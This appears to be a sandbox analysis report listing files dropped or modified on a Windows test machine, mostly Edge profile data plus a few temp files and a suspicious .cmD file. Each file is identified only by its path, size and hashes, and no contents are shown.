SSDEEP 384:rQR5dkrKzmQWgFlhpyZv8CTi8I6kxAvh0mD:reKrMP8d5JIVAvhV
TLSH
T18CB21064C9210DE11FE4412B6878224B1A3C951B8F90FAFE3B6D928C1F5E06F61B95FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wallet-notification-config.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18367.18366.1\json\wallet\wallet-notification-config.json
Size 804B
SHA256 bb26ce6fe9416918e9f92fcc4a6fe8a641eceea54985356637991cf6d768f9fd
MD5 4cdefd9eb040c2755db20aa8ea5ee8f7
SHA1 f649fcd1c12c26fb90906c4c2ec0a9127af275f4
SHA512 7e23b91eab88c472eec664f7254c5513fc5de78e2e0151b0bcc86c3cd0bf2cb5d8bb0345d27afdd9f8fcb10be96feaa753f09e301fa92b8d76f4300600577209
TLSH
T1AB0189EEC8800EB216C24A3A163985C31A3756576C953D147FC9741C2F5D62F22FB98D
MD5 SHA1 SHA512 TLSH

Submit Download

wallet-stable.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18367.18366.1\json\wallet\wallet-stable.json
Size 81KB
SHA256 c1611bb1872456d5ba656cacea801b833ea43126a6ad7e43e143d52cba9d9597
MD5 46ca0b1726448d9c7ed48735c246336f
SHA1 8e26f1f1c6f909f2f3d34c17e042e579f3b2b449
SHA512 c9ec0465c2c0eb0bc0316163f9a2dab9332c372dfc4ebedb0ef4139fe1195efdd8aa34367155c29e659d97d5a27e2395ce2f6012c115ef5791bad270de26bb28
SSDEEP 768:r7PEXSl9cv2tlNnqSBBoCJkQgXzwb7XARjMLVF2CYgYHFkJ/Eqajvapznp+9l:08W27jLgX2ZLSgYHFkJ/EqajvWnAf
TLSH
T1F283DB29C9120DB11FA4001A28BA290B297C960B4F55FAFD7B6C938D1F0E45F61F59FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wallet-tokenization-config.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18367.18366.1\json\wallet\wallet-tokenization-config.json
Size 34KB
SHA256 0088d5ebd8360ad66bd7bcc80b9754939775d4118cb7605fc1f514c707f0e20d
MD5 ae3bd0f89f8a8cdeb1ea6eea1636cbdd
SHA1 1801bc211e260ba8f8099727ea820ecf636c684a
SHA512 69aff97091813d9d400bb332426c36e6b133a4b571b521e8fb6ad1a2b8124a3c5da8f3a9c52b8840152cf7adbd2ac653102aa2210632aa64b129cf7704d5b4fa
SSDEEP 192:0NOKnK+QXzpTYaDEqIyVZ5mxzrIAfrXKoNKExGI+MmsMR6Q9GMKPrZnfB4FXZ8N:SOKK+QXzpTYaDEq/e5EAfrRoRI+B9wC0
TLSH
T1A3F2FCB1D9009C932F58850A20BA9505376C52237F86F9FA736D424E9F9F58F2530EEE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_1
Size 264KB
SHA256 4e8190ff1f7d120aa756e044d4486415a845075a5d7b591f2643a86f62d15180
MD5 a99926a5c3d5db5f181778697407b5e1
SHA1 85fc2d7c9c235d8fd74fef14db0be08fb7cf1777
SHA512 62ecb284e2ef4333109714f5f7f89529589485ef33eb125fcaf03d166b1e557a5ba356bc269701898b64ded835e2157f68e61b1afd3e1c63ab1925a5e8de65f1
SSDEEP 3:MsEllllkEthXllkl2zEflGgl:/M/xT02ztg
TLSH
T1BE4404547FC01405DD0130344051C371F370D4505511F7533DD114335CC75410C00411
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Browser

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Browser
Size 120B
SHA256 9c70f766d3b84fc2bb298efa37cc9191f28bec336329cc11468cfadbc3b137f4
MD5 a397e5983d4a1619e36143b4d804b870
SHA1 aa135a8cc2469cfd1ef2d7955f027d95be5dfbd4
SHA512 4159ea654152d2810c95648694dd71957c84ea825fcca87b36f7e3282a72b30ef741805c610c5fa847ca186e34bde9c289aaa7b6931c5b257f1d11255cd2a816
TLSH
T1E0B012203BF9062CF3F74D00AA73AA3428BFF4080A14811D505102080C33E19C478FA3
MD5 SHA1 SHA512 TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Size 14B
SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
MD5 8297da058a737611abcc3a0ede9ffc24
SHA1 e532552672ecffbe3509fb4c334833a67f16d05b
SHA512 fefc70ebe486693310a00beb5ae125abb1569c4455538124d897566f2e44f2b3854ad4451196607137301a811ac7f96f1d488a36eb6d6cd566f2f7cdc7c7568f
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 cf59b14093ff86b60527a2f3c20c0cc72d9f49bf36bc7eb604caab1c9539467d
MD5 857277ecbb944bac8e21ea3774cd6759
SHA1 4fecb1f663f217f3765da61a42dcf810696fbbd1
SHA512 3a27bfcccd131803bdf27fcfe8f021e3a7001e7fec640aaf42396b36d0b62ff4333af51f66538fcab1cdbde10c98cbc6ad2751b57642bf32a8272a5f673fad06
SSDEEP 768:pcFccps3GwgbkUAkDG045Zcd2ZQI8p0MLC:Gs3opycfI8p0MLC
TLSH
T1B2B25C36EC98D9B7EDE74F89B74A3A07DEE0126785D859D4CADC1D0D009719D130BC2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 276c50be6775ea2e10bdab504654fa6b7ef0421f5214366de8d4b08a81a85bbd
MD5 54615e8fe75752a39e6d2870893078cc
SHA1 c996cba4ec16a677bbe91765ec383ab287820ea0
SHA512 6526bfdb35d95ca63fda49b3858ad9c4543fd02851f050dd4701fee3e04a2be12b6ca3086c31e1d2d282693ce2099534b8be65af0185a8edb58d207d2f09056b
SSDEEP 768:pMFccps35wgbkUjHDG045Zcd2noeI8p0MLC:Ws3jVycYI8p0MLC
TLSH
T12FC25B36E898C9ABFDD74B98B64B3603DEE04267C6CC99D4C9DC5D0D009B1AD530BC1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 363ac54e072d99ea7488c3a447d16827d6ed50bd8bd87cbc670ad5cb21d06d64
MD5 863a12b6904ba2291b8ad38966485fc5
SHA1 145916bf54e98b92d27fd6697868e08c7915b28a
SHA512 2e2dd669d2c066822c099b6edc8e717676f3064cea1aa92d8d8adff97c61b04851afd224fe3b932e046c178466b1cf29bec2b60937845ea3149f1feeb5fcdedd
SSDEEP 384:npNiF9CcmyWCQ3sNU8TUNTUlI4MAQckCrNvcpvBfxGJWJ45Zcd2eRGoeQqoPty/f:pEFccpQ3pwg0kSqDG045Zcd2noeD
TLSH
T1D0B22936E898D9ABFDE74B89B65A3613DEE44163C6C85AD4C9DC1E4C01DB1DD030BC1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 326487dded8f1b001b03e07b8a5bae43c20d3713bad387c4e8f71fc5319cf442
MD5 940bcf3cc47930035f2dfa110cffa2b5
SHA1 953f80a1c5b7dd85bbb433ea51e77040f7c44685
SHA512 1b9c7aa4db77588d1e4c3dff2bd85bf03ed0c1e6910b98ccbd94ba0d5d81d2c260a14bd2ea0b4e4933c1ec879a967451156674ecdfe4a091b1ead1da4e90a0ab
SSDEEP 384:npNiF1tNn/s3n9S43sNU8TUNTUlI45QckCrCvcpvBfxGJWJ45Zcd2eRGoeScjmwA:pEF1j+913pwgkklqDG045Zcd2noe1j0b
TLSH
T13DD24A37E894D9ABFDE74B89B70A3607DFE40263C6885AD4D9D85D4D00D72AD030BD29
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 30KB
SHA256 453c490ce9c79fbe282587154dec37e5da859ea0176c1096917de4291db35758
MD5 7548cc54352844631d0970cd0f2e0bcc
SHA1 12bca9ef0bdf7776ea9c05cd76ac618f3b1d75ac
SHA512 ab97360ef64ac727fc6d5fa4f7cc3869103b50b7436367251b85279293dd8b70c3d64fcb347fad56ad4180caf9e45130236de6e231172efe197f7d3041c2ae61
SSDEEP 768:0FRj+9W7wgkkKqDG045Zcd2ybKWvCsG4u39j0u:V9WCiyckWKszumu
TLSH
T1E0D24B36D894CDEBEDE68AC9A74A7616DEE40273C68C5AD8DAE82D1D10DB1FC0307C15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 34KB
SHA256 bdef0d881db1915cb920bc80bc5e89df9721830c5c0ca9850ba6f07c7af3e345
MD5 3fe065cebcaef2d55f34acf9fe2d10f9
SHA1 860dbbd561c1a220c11be155cb3fbf99fe1e6999
SHA512 381b55519728092902a860a8b3691e9457b4ed35f070f877d9f1069968ddc848ff9870226065bbda64be5f28fe15220ec64dae87474b9af2a482eb17040d5a92
SSDEEP 768:pEFRj+9WpwgkkfqDG045Zcd2zp8DlCK4GHm1j0b:j9W8VycdMjgmOb
TLSH
T106F24A72D894DDEBA9D6CAC96746B612AEE40133C58C4A8CE6F87D2D309B5FC0307D25
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 63d084adfbcbebf88a0d34b785fcb5f38295418076617e162cbbc32ff8d6ce05
MD5 629184ae68db723c5cde0ebc43d5f17b
SHA1 0981881b4d954464597308373fab9c95e6bbbd58
SHA512 5295749d4acf52651f413c4e77a1af6fee4fb3cf5aebde8200c3f370e6f9b4c1715bead887d2c8336967d172ada1aaf1e8a6c5f96c3d72f457afba855d973910
SSDEEP 384:nXiFRtNn/s3n9SVsNq8TUNTUlI45QckCrCepcpvBfxGJWJ45Zcd2eREwScjmwAvG:SFRj+9W7wgkkKqDG045Zcd23w1j0u
TLSH
T172D24A36E894DDABFDE74B89B64A3657DFE40163C9885EC4D9D85D4D00C32AD030BC2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 33KB
SHA256 cd69b83f4333fcf3494f35189662f2953324b3644b05fd9ed9114051900e3ee0
MD5 8392a19ba5e78e163fc5cbb9b24df6f1
SHA1 6bbd5fc06d7d826cb070290d4b25e561f063c7c7
SHA512 cd365bf7561c8214786fef1f0032d73ae9c2deeb74f0415948391775fec09c1559dd3890ee42090285a81dc9902eb62cb0b4e452418bac809bd07d867fb9c29d
SSDEEP 768:pEFRj+9WpwgkkSqDG045Zcd2zp8DlCK4GHm1j0b:j9W8aycdMjgmOb
TLSH
T1AAF24A72D894DDEBA9D6CAC96746B612AEE40133C58C4A8CE6F87D2D309B5FC0307D25
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1
Size 264KB
SHA256 87641929c86d3b8312d90e960e2f7552924481473b177c969955e272b66caf90
MD5 5416dd9e074babd40012249d45cf3ec7
SHA1 ac6114183a11b331c676e7b133b53591f2cf37a1
SHA512 08679273937f58ff54a27410e2dce9ee73412218edba2e4074c6fdcec3ad575120c06dd2c13bc004fc57e412e0ca984510ad8518164a64f6b984154e169d3947
SSDEEP 3:MsEllllkEthXllkl2zEflbi//l:/M/xT02zui/t
TLSH
T1A04402146F805405C600203040619350A370D4516512A793359108226CCA9510C00101
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Filtering Rules

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.84\Filtering Rules
Size 2.1MB
SHA256 5e301c48e6d7290990971e9f0bcb2263c8adba06ed0a2c6db5086949825d999b
MD5 43f62d9f35fa6597cec4e2ad5643e282
SHA1 8dba6404724ffd6a2e89901e8dc6e5e55fed3374
SHA512 91891d23464f89e6769d9ec7a28867e28f77925e6e3b3b75fb628d8672157ba239676c07699c931ac307a21ccc4dae95dd707d410f988ff82be4015103d4d6a3
SSDEEP 49152:ua2qP9SKIrivd04TxN/7Uw+zJEhs6dl61n4Kmq9SL6bbBT0HjTsQc8cxjw:u8d
TLSH
T1BAA55D237518BDF45BB31F3EA44B6D48823962A483E3EDC5EA2BD10ED5E014F79601B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.84\LICENSE
Size 24KB
SHA256 ed0f972d56566a96fb2f128a7b58091dfbf32dc365b975bc9318c9701677f44d
MD5 aad9405766b20014ab3beb08b99536de
SHA1 486a379bdfeecdc99ed3f4617f35ae65babe9d47
SHA512 bd9bf257306fdaff3f1e3e1fccb1f0d6a3181d436035124bd4953679d1af2cd5b4cc053b0e2ef17745ae44ae919cd8fd9663fbc0cd9ed36607e9b2472c206852
SSDEEP 384:mva5sf5dXrCN7tnBxpxkepTqzazijFgZk231Py9zD6WApYbm9:mvagXreRnTqzazWgj0v6XqK
TLSH
T140B2526EB64903731AF30116AA4B64DBF31ED03F362A4564346CC1481FB6E7443FA6EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

typosquatting_list.pb

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Typosquatting\2026.7.20.1\typosquatting_list.pb
Size 738KB
SHA256 c45ca589e12ede5ad2d94c66891f20ba805f5109edc1a6d1cd7734851e470899
MD5 929d5213a119594f4c334ae8f98e2918
SHA1 2275bf3fd051b6ef08eaa757a52f9a08e1918731
SHA512 8a4ebec0d5acdff8150110475910fbe8689544fd005f2a248e27bcae47e5bc37d5f7c61daabf0d238d3d87cf2d5fdebaa1bd75d7cf36b86471989ce4e2173dde
SSDEEP 6144:RLfPL6KxmAjX5rzpVj8CZANIgafGaFU9OOemJFZKvmwko898O02:BfPL6KxmQX5rzPZGI3eaFiUFko898O02
TLSH
T10AF4C6B9DFC00154DB78112D20BE71D8181412A580EADFEAFE7C855F2BC2AC977E85E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Variations

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Variations
Size 86B
SHA256 f7b24f2eb3d5eb0550527490395d2f61c3d2fe74bb9cb345197dad81b58b5fed
MD5 961e3604f228b0d10541ebf921500c86
SHA1 6e00570d9f78d9cfebe67d4da5efe546543949a7
SHA512 535f930afd2ef50282715c7e48859cc2d7b354ff4e6c156b94d5a2815f589b33189ffedfcaf4456525283e993087f9f560d84cfcf497d189ab8101510a09c472
TLSH
T196A02407C473C00FF4144051C45C034114FCC447011DD0015074D31314D40CF03F5435
MD5 SHA1 SHA512 TLSH

Submit Download

ranked_dicts

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.2.0.0\ranked_dicts
Size 865KB
SHA256 5820d0bf9cfc363ff929492b1eb6df430039f4ac0e212a5b5411f7c2614f79d0
MD5 959460a18173908111523bbf4c39073e
SHA1 c42a9a7042f6d87a6a9de7f9bf378f1fe9485fcc
SHA512 291decc0f58cf71d7929a52d2c21a07590c02bcd202b73fb20391d6d0c7dcbe3aec24e02606f22dbd589ee2546a0eb8414c232f74ec646a1f26496c280705600
SSDEEP 12288:8WG0mOflZV35OtQm/b1Ed7pJPR3cjqKMjgP/pwH6sKFbEb3d4CPLsVQCcekWpH6m:k0m0lH35mVb1AJPtOl/06s6Wd4iBSsG
TLSH
T1AB15B071E714177E5A9F23AF98856B4546799302982204EAF7A6034D810BDCC63BFB3F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 b4f8a2478f2dd489e0624d48422d5360ef6c4b71ad2cb299caf35fe4a04b81ac
MD5 3a99c58ac919f894555986a74195794d
SHA1 35c97ed686dd374fd9c1139f11ce72b1bb227948
SHA512 262f99e337ea99c9f23a4ae7205a71df529ac6b89ecf89d9d039bb97be04270945d406c8d18da1fe31d585b6ba79826830bf6fc0069c88bf2269ccbed5fd7e44
TLSH
T1654132D14C3856D2C4BD0A7EB09B74FC84E8D62AF59034792858EA944A29A1D648143F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 a1e78fd3808013d25fefaef843408ecfcf5749b073bc6ad3196b033e58ebb4dd
MD5 629dd4843531751b30afc845ab33e374
SHA1 271227f5369d088ff2e6abdf5e4cecf9bdb716c4
SHA512 8a1e9c353c732863e74bae6c0affe04523b9591ea91482af69c0920879feb02e083fd9508068c7a71ff60e67f3bf4e832272f958e724482d348e77cf206d2140
TLSH
T1495143D14D385AD1C4BD0A7FF48774FC84E8D629F5A0347A2858EA984A69A1D708183F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 9fc1afc946e8066b4f8b36b69aac3f879c9af320017509589ddb573ff820f19d
MD5 64f5d0def321c8d94d9db2eb33c0e657
SHA1 330959ae623a28eaacecab7cb7e4c8a9778d4fad
SHA512 93c39bf3b158262a8bd919e7fab306fdc95b12c5c7fdcc2f44f5a2d48cf690aa3cd73cbf469247833652e0710ed177bbf964cb42a5358c4f03398db8ec7fc9c3
TLSH
T1133102E25C381AD5C4BD0EBFA48779FC84E8D22AF59030792888EA944B29A1D654143F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 e98f94e01c8312254b4495ef4d14090f8ef177c2ad8e72a9bc94ff1f8e481661
MD5 824e35cbefa989822eb7473b28a16ccf
SHA1 da266c0fb85654ffa0b93b214d5977123d4920b8
SHA512 b12067231f6868878d4570ede13839735368cd358368e41eebb1ac0f93edeec0f281dc4c69017288997153892f74d6e7689242872e2265cdfdc89354b2e3162e
TLSH
T1624142D14C381AD1C8BD0A7FF48778FC84E8D62AF590347A2898EA985A29B1D708143F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 aefdf90eec35e0f8e27ba6af5752154132bec95b19f3359974f77882553afb41
MD5 fd2b48a192ed5ef7ffd91e4e995312eb
SHA1 e41a91df23542d41ac2b287aa239208673851c9a
SHA512 eca6c3f0d733d4e8b7dbdde4c0d56a459890df61ee4ada7f4db15b16d9a1311fe72f45218315f30627de9a7c342fd408f64248f6a18cb8295054ceebaf6afe29
TLSH
T1115144E14C385AD1C4FD0A7FF49778FC84E8D215F9A0347E6858EA984E69A1D708183F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 19c9c1d3fc4282c380a1ad6ae1264b6a7e237ca81585f434c0c9201147b1acdf
MD5 6cb346ff3241441ecf2a1a2670e25202
SHA1 d40317d2455fb103f15a3107104eaa16fd42c76b
SHA512 f31486e4b033840e2a646ae838f14b65b1c27f52e1f10a062abd4325556156b605ce81b1fdf6da396e7e84138a70f023790386e99f90f4955079d202e84a82b7
TLSH
T1353102E25C381AD5C4FD0ABEA48739FC84E8D72AF1A470792C88E9944769A4D654143F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 aa2bfdd57c70bbedf71e9a222104fe21056c0783a0418054e4d25ee6bb1bd6ba
MD5 a256054d0d473d20ff633638a76191c3
SHA1 f4650493f502d2014a63976a8aef6102e41d32ab
SHA512 2de47d93d192b3452ae121a07e19a932707e9ab5e729355de4c40e9009a80ec3007b71b950f2130a8125aa53152930a4b923819d44f08537d02fba87d5614e16
TLSH
T1084122D15D381AD2C4BD0EBFB49778FC84E8D62AF5A034792898EA984729A0D644143F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 3e24b85a7b6c33ba9f3d0fc6a6a3405fddf287be96ae7755c54673bc6def1158
MD5 90441db0aaa82ec1f6d249941a79ee5f
SHA1 6a6c37ab0d6f0fe604f0ec6130216f9a956b7500
SHA512 35c2854a13350660c05fe6722db83180a247e153963cde074a2cd83fd8ff57eaf9b20026ee9c23402fe58ba93428c0964a7ac2cace717b02a9c74e50f2467b30
TLSH
T1463145E15D381AD2C4FD0EBFB49734FC84E8D72AF5E030792898EA98472990D644143F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 042c3d42feefe8770a317f5b9a0963a211739486603be51c287015a42943f366
MD5 a87931d076240b65a2b92e67aaff8321
SHA1 3e4063b832b484d3b5fc25dee265438b62b3bbca
SHA512 54d84b55649da5a0677863a13ed64975545bb5e8e535ff55779d46aa4e051e1a9b61efbc0c6289cdc136ae382cfc7bf8d1622c23c965531e045f931872aefe7f
TLSH
T1BA4133D14C385AD2C4BD0E7FB49738FC84E8D72AF5E0347D2898EA984A2DA1D648143F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 8d1d588ae7bdc0ad5f71fba567b2df1cb29b6ae04bc3233c4a345789c33ff041
MD5 5aeda6b3923d5e294eb0950e072e2d67
SHA1 0333e725b799d5576eefe87d86011c0b0770552f
SHA512 515cce6d121f9ca6831b584e29d30f4856e623242d644d0895716bee0baa09095f8dcfc32a99ec52cba2ac1ecc368fd4f1e60a0ca747c3550cc431e9c0645e4a
TLSH
T1C24154D14D385BD5C4BD0A7FF08774FC84E8D72AF590347A2898EA944A6DA1D648143F
MD5 SHA1 SHA512 TLSH

Submit Download

first_party_sets.db

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\first_party_sets.db
Size 68KB
SHA256 9061cef2dae36773bac05af99d1133ae3692f735df7565ff5f17f40a9deed9ec
MD5 88bf35a77b25e16c2037a71dfa6c2ddb
SHA1 2d6c7cfeea66e7cee4cc057e175d750b3f25d8c2
SHA512 9ae87b7b18aa23df20082c9f55ebc9d731675eeea7cdfe9270bda1f6c72d9c44280986bb3b6415da0ad26735e6949728b8e46327ba31cf424615aeded58b7e55
SSDEEP 768:OQaOTpdNuwT4shrJWRIdaqrLI1WcxKT0dTTTjTVHAM:xLhaqLI1WcxKgdfHJHH
TLSH
T1AD63D9FB495B02D0FB9941F4924B76CCC35B299C8CF8E7D2F96188176AB04B4E255A3C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

first_party_sets.db-journal

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\first_party_sets.db-journal
Size 4KB
SHA256 837027a837cb96543b3a76ece6782edb8edbb531eee212b087a68db5a44d0cd1
MD5 e6be56c6ef260634714a248dc25620e5
SHA1 a3cb9045670fc511476b95a652fc86ba21e41ced
SHA512 8bc14f62c7420a967097df41fda3efc51e63c8093cab503c56f664b3f1af3ddfb70791e3e82e7e494d2946a77f6492ff348588e2f5267b7feabee0b208527929
SSDEEP 3:G1n3llQ/8QuQll/lZAOSl5eqJ/cSFYojpuyOV9RUIAn:Gt4/ZlaeyEGyC
TLSH
T1FD9112421600C8B3DC846B3F74C2009ABFB319010E95E81080788D520B86605760892E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 e828a2f50f0845e40dae0a062cb50fe8dc7a671bcadbb46d36a2dbb831b4954c
MD5 5ad31373c44cd65a337173b290ed7e0a
SHA1 b58812a70e1392c2a215ed8b06d105d650baf5b2
SHA512 dfc99692dcbc4b91056753a1f5ff0ae2abb4bb4de3eaeddfb685ae5c3c30ec59a585a2127ddab20ae4bfbb891532c1b372b1e8f62b9a0fe169b4db9fd3043a52
TLSH
T150414C48AAEA1158B3B77E59ABF2A86D447F7C372E0BD45D10110D4F0663A00CC61B3B
MD5 SHA1 SHA512 TLSH

Submit Download

8b0d4544beb97a69dbb9583fca5575a9aba6e37d.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\8b0d4544beb97a69dbb9583fca5575a9aba6e37d.tbres
Size 2KB
SHA256 b31e2b9d2bf460b83f2730367c2c1f575c11d12eb7fa9fc02a41211b5a850894
MD5 af108791e609b861d3309caf4f893d53
SHA1 019799ffc87c9513ab9a58b76f4b086544e71516
SHA512 fb0c9e0482d7bd775dbe1991b9a009f46b31b72302b0f8395f0434e09576cae2cb4b919370d72c766b913bd6f56c045f07dbeefc22325305bba4c55ed751e667
TLSH
T19A51506CA6F91018B377FE599BF6786E447F79732E06D05D10510E4F0622A00D861737
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 4ee75b9bd85c06e1b58c54155ab27230c46345559d353fb0582a9592839432f1
MD5 67c92df588047cbc080a443367781b38
SHA1 7d5fe87cce0d407a82ba29da7ec1a441fac44a74
SHA512 47e99be1e08cc677ac24b14d55ac5c6f63f115c441e29bb1ce316673a199df23522bfd0dc615d05d397bb1a99cfb76044a88421702d4ca5b056bd803d690e5af
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_apo4g51z.rg1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_apo4g51z.rg1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

cert.crt

Path C:\Users\Admin\AppData\Local\Temp\cert.crt
Size 3KB
SHA256 bf18f03cc473b84773b10a3e10dfaf1b486a1d90d1d81698e245713102961eed
MD5 a3d82226e8a9cf50953e85cb74fcced4
SHA1 0de2c0f5d9a5d17f3069d11ad71678c4cdba9630
SHA512 250a5aa7837e3722e313998a80387327242b891895a7153c3bb607369aa13fdf0caa0efb72de2137e0cc542dfe2f9ff6fb29ccc29f07c15df605c624b6e8f593
TLSH
T128613F8B66E30541691394A5ABEB2B423794D113C10EDD297FCCA28C8FC89D89DA731C
MD5 SHA1 SHA512 TLSH

Submit Download

dh.txt

Path C:\Users\Admin\AppData\Local\Temp\dh.txt
Size 4KB
SHA256 f6a8352593ad676d3d024c120512e1acfa950c7acf89287c21467e04b889607f
MD5 ff2879da7a079120d81bc0d25818dea2
SHA1 2ad2e2d24308a088f9a58957f0df6bfc5ef7773d
SHA512 5d3c48798b5a92698e58e5c2b3d1a4c92edbe4233eb1f5de8485b52ae0cba1fa740526071547e5458e50af9c6a25e995adf91af4d1f8b39b02157b7e8774e479
SSDEEP 96:SmjaETDXJgjpJDWWhqTsLGbrJGafI0sV/LW8jHIE:tGSZShqTqYJnI7Bq8jHIE
TLSH
T1A6914E76CE4F3C6287D0896325DD9BE60C1D57CEF8C250CD4A0BFB5DC26E02A20C62A9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pwvb.cmD

Path C:\Users\Admin\AppData\Local\pwvb.cmD
Size 415KB
SHA256 b4dddd98d998652c14b81f1b4fdadaa54ae268374fd4df76540090dfee9848be
MD5 b6a89c6fb373cb2cf7677f688aa370ae
SHA1 6acf658bab50ea21db57b0cd69fa9ed07771cf47
SHA512 b6e76aaab0853057d223d7c1016bebaca04e486ab50f8326c202259f4aba52a21d5f869af2236f360cad5fcec89ee5ac17852f061743e9c98dcce938c870427f
SSDEEP 12288:vvkInZR9u22BI+qIOcg7QpnLGJsKAdZNI/LoXF5xoPoYiQ2H:HZvu2Mqxh7PHAPWq7Yos6
TLSH
T13D942320AF8B383D4594012F72EA029F0AED6FCDC0E160A76681154FDFFA5B309AED15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1260-3035-0x000001A2B7D30000-0x000001A2B7D40000-memory.dmp

Download

memory/1260-3040-0x00007FF89A050000-0x00007FF89A060000-memory.dmp

Download

memory/1260-3042-0x00007FF8D4EB0000-0x00007FF8D510E000-memory.dmp

Download

memory/1260-3038-0x000001A2B7FD0000-0x000001A2B8006000-memory.dmp

Download

memory/1260-3039-0x000001A2B7D10000-0x000001A2B7D11000-memory.dmp

Download

memory/1260-3034-0x000001A2B7D30000-0x000001A2B7D40000-memory.dmp

Download

